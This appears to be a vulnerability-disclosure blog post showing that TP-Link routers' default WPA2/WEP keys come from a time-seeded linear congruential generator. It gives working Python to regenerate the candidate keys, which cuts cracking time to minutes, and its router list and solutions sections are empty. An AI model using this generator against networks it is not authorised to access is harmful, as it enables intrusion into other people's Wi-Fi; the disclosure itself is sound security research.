< Other articles

WPA2 Key Generation Vulnerability: TP-Link

AuthorAlexandro Sanchez Date2013-03-08

These days I have been playing with my new WLAN router, a TP-Link TD-W8970, and I have found a particularly interesting issue that affects other TP-Link routers as well. These routers can be recognized by the ESSID key TP-LINK_XXXXXX. Their default key for WPA/WPA2 and WEP is 10 and 13 characters in length respectively, apparently in range [0-9A-Z] and randomly generated by the EasySetupAssistant.

Based on this, the corresponding handshake of such a WPA/WPA2 key, bruteforced with typical GPU speeds of 20000 keys / second, would require 36^10 / 20000 seconds = 182807922003.1488 seconds = 5796.8011 years to be cracked. However, by disassembling the setup assistant, I realized this key is generated from a 32-bit seed by following a linear congruential generator reducing our key set from 36^10 keys to 2^32 keys. The reversed generator is:

chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ"
def gen(seed, length): #length=10 in WPA/WPA2, length=13 in WEP 
    key = ""
    for i in range(length):
        seed = (seed * 0x343FD) + 0x269EC3
        key += chars[((seed >> 0x10) & 0x7FFF) % 0x28]
    return key

Furthermore, note how the for any length and 32-bit integer seed k following condition holds: gen(k, length) == gen(k + 0x80000000, length). This reduces the keys to check to 2^31. At the previously mentioned computing speed, this implies finding such a key in 231 / 20000 seconds = 1.24 days.

There is an additional issue affecting the seed generation that can help reducing the password dictionaries even more. These 32-bit seeds are not the result of a cryptographically secure PRNG. Instead they just represent a time difference, growing linearly at a rate of 1 every second as the system time passes. In Windows, the system time is obtained via GetSystemTimeAsFileTime from Kernel32.dll. The corresponding code to generate a seed at a given moment is:

import datetime

def genSeed(currentTime):
    dt = currentTime - datetime.datetime(1601, 1, 1, 0, 0, 0)
    t = dt.days*864000000000 + dt.seconds*10000000 + dt.microseconds*10

    tA = (t / 2**32 + 0xFE624E21)
    tB = (t % 2**32 + 0x2AC18000) % (1 << 32)

    if tA >= (1 << 32):
        tA += 1
        tA %= (1 << 32)

    r = (tA % 0x989680) * (2**32)
    r = ((r + tB) / 0x989680) % (2**32)
    return r

print genSeed(datetime.datetime.utcnow())

If we can estimate the time interval in which the router was installed, we can reduce the total seeds from 2^31 to the seeds that could be generated in that specific time interval. For instance, if we are confident that such a router was installed during 2012, we would only have to check the keys corresponding to seeds between 0x4EFFA3AD y 0x50E22700:

genSeed(datetime.datetime(2012, 1, 1, 0, 0, 0))  # 0x4EFFA3AD
genSeed(datetime.datetime(2013, 1, 1, 0, 0, 0))  # 0x50E22700

At the previously mentioned speed, we could potentially crack the password in a worst-case time of (0x50E22700 - 0x4EFFA3AD) / 20000 seconds = 26.35 minutes.

Since guessing the time in which the setup assistant configured the router can help us reduce the time required to find the key, we could improve our dictionary in the following ways:

Affected routers

I have verified all setup assistants distributed with TP-Link routers and all TL-WA, TL-WR, TL-WDR series and TD-WXXXX, TD-VGXXXX models are affected. In about 10% of these routers I wasn't able to download the EasySetupAssistant through the link TP-Link provided, but I am confident enough that the results of same routers of the series can be extrapolated to them.

The complete list of affected routers is:

Resources

Solutions